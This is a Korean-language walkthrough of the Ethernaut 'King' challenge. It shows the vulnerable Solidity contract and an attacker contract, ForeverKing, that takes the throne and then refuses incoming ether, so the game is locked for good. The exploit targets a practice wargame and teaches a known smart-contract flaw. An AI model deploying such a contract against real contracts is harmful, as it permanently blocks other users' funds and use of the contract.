[Ethernaut] 9. King

Ethernaut · 10/36
  1. 0. Hello Ethernaut
  2. 1. Fallback
  3. 2. Fallout
  4. 3. CoinFlip
  5. 4. Telephone
  6. 5. Token
  7. 6. Delegation
  8. 7. Force
  9. 8. Vault
  10. 9. King
  11. 10. Re-entrancy
  12. 11. Elevator
  13. 12. Privacy
  14. 13. Gatekeeper One
  15. 14. Gatekeeper Two
  16. 15. Naught Coin
  17. 16. Preservation
  18. 17. Recovery
  19. 18. MagicNumber
  20. 19. Alien Codex
  21. 20. Denial
  22. 21. Shop
  23. 22. Dex
  24. 23. Dex Two
  25. 24. Puzzle Wallet
  26. 25. Motorbike
  27. 26. DoubleEntryPoint
  28. 27. Good Samaritan
  29. 28. Gatekeeper Three
  30. 29. Switch
  31. 30. HigherOrder
  32. 31. Stake
  33. 32. Impersonator
  34. 33. Magic Animal Carousel
  35. 34. Bet House
  36. 35. Elliptic Token

1. 문제

 아래의 컨트랙트는 아주 간단한 게임입니다. 현재 컨트랙트의 상금보다 더 많은 금액을 컨트랙트에게 보내는 누구나 새로운 왕이 될 수 있습니다. 이 게임을 완전히 망가트려 보세요.

 *주의* 인스턴스를 제출할 때 관리자는 왕권을 다시 탈환하려 할 것입니다. 그러한 행위가 불가능하도록 하세요.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

2. 해법

 문제의 King 컨트랙트는 fallack 함수에서 이더를 받으면서 별도의 로직을 실행합니다. 만약 fallback 함수를 호출한 계정이 상금보다 더 크거나 같은 양의 이더를 보냈다면 이전 왕에게 해당 금액을 전송하고 새로운 왕을 옹립(?)합니다. 이 부분이 유일하게 왕권을 탈취할 수 있는 부분이죠. 요리조리 뜯어봐도 아무 문제가 없어보입니다.

 그러나 기억을 더듬어 우리는  이전 문제들에서 스마트 컨트랙트는 fallback 함수없이는 일반적으로 이더를 전송받을 수 없다는 것을 배웠습니다. receive 함수에서 transfer 함수가 revert된다면 아무리 주인이라고 해도 왕권을 되찾긴 힘들 것입니다. 즉, fallback 함수가 없는 컨트랙트를 활용하여 컨트랙트를 공격하면 이 문제를 해결할 수 있습니다.

 다음의 컨트랙트를 작성하고 Remix IDE를 활용하여 배포합니다. 생성자에는 King 인스턴스의 주소를 넘겨줍니다. 컨트랙트 이름하고 함수 이름은 일부러 간지나게 지었습니다.

contract ForeverKing {
  address payable public king;

  constructor(address _king) {
    king = payable(_king);
  }

  function usurpTheThrone() public payable {
    King instance = King(king);
    require(msg.value >= instance.prize());
    (bool ok, ) = king.call{value: msg.value}("");
    require(ok);
  }
}

 상금으로는 0.01 이더가 걸려있으므로 그 이상의 금액을 입력하고 usurpTheThrone 함수를 실행해 줍니다.

 이제 왕은 ForeverKing 컨트랙트이고 이 컨트랙트는 fallback 함수를 가지고 있지 않기 때문에 King 컨트랙트의 receive 함수에서 실행되는 transfer는 절대 결코 revert됩니다. 따라서 그 누구도 왕권을 탈취할 수 없습니다. 이제 제출하면 마무리입니다.


3. 결론

오늘은 다 배운 내용이라 마땅히 할 말이 없네요.